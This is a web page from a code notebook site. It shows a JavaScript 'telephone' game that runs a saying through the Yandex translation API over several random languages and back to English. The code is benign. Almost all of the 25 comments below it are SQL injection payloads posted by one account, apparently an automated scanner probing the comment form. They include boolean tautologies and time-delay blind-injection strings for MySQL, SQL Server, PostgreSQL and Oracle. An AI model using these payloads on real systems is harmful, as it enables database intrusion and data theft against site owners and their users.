Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

Telephone?

node v0.10.48
version: 6.0.0
endpointsharetweet
You probably played the game of telephone as a kid, but it's kind of boring as an adult. But what if we get the computer to play for us instead? First, let's require some utilities from other notebooks, and define a few of our own.
// translations, powered by yandex. // To use, make sure you set process.env.YANDEX_API_KEY to your own API key! // You can sign up here: https://tech.yandex.com/keys/get/?service=trnsl var yandex = require('notebook')('tonic/yandex-translation-api/1.1.0'); // Some common english phrases var sayings = require('notebook')('capicue/sayings/2.0.0'); // Just a few niceties around Math.random() var rand = require('notebook')('tonic/random/5.0.0'); function randomLanguage() { var languageKeys = Object.keys(languages); return languageKeys[rand(languageKeys.length)]; } // Grab a random language from the supported languages. var languages = await yandex.languages();
Alright, now we're ready. The basic idea is to start with a phrase and run it through a translation API a whole bunch of times, finally translating it back into the original language to see what we get.
// The core game async function telephone(text, language = "en", steps = 10) { return await step([{lang: language, text: text}]); async function step(history) { var last = history[history.length - 1]; var toLanguage = (history.length === steps) ? history[0].lang : randomLanguage(); var result = await yandex.translate(last.lang, toLanguage, last.text); var results = history.concat([{text: result, lang: toLanguage}]); if (history.length === steps) return results.map(function(step){ return [step.text, languages[step.lang]]; }); return step(results); } } var sentence = sayings.random(); await telephone(sentence);
Turn oil.
Loading…

25 comments

  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    -1 OR 2+666-666-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1 OR 2+536-536-1=0+0+0+1
  • posted 3 days ago by xsjybldb
    -1' OR 2+66-66-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1' OR 2+452-452-1=0+0+0+1 or 'dmVkxgwt'='
  • posted 3 days ago by xsjybldb
    -1" OR 2+994-994-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 3 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 3 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 3 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 3 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    6yKSyyYC'; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -5 OR 160=(SELECT 160 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -5) OR 277=(SELECT 277 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -1)) OR 405=(SELECT 405 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    lZMzjt5s' OR 358=(SELECT 358 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    7UDYr0Rp') OR 818=(SELECT 818 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    gQo21jZI')) OR 108=(SELECT 108 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 3 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 3 days ago by xsjybldb
    1'"
  • posted 3 days ago by xsjybldb
    @@siaGz

sign in to comment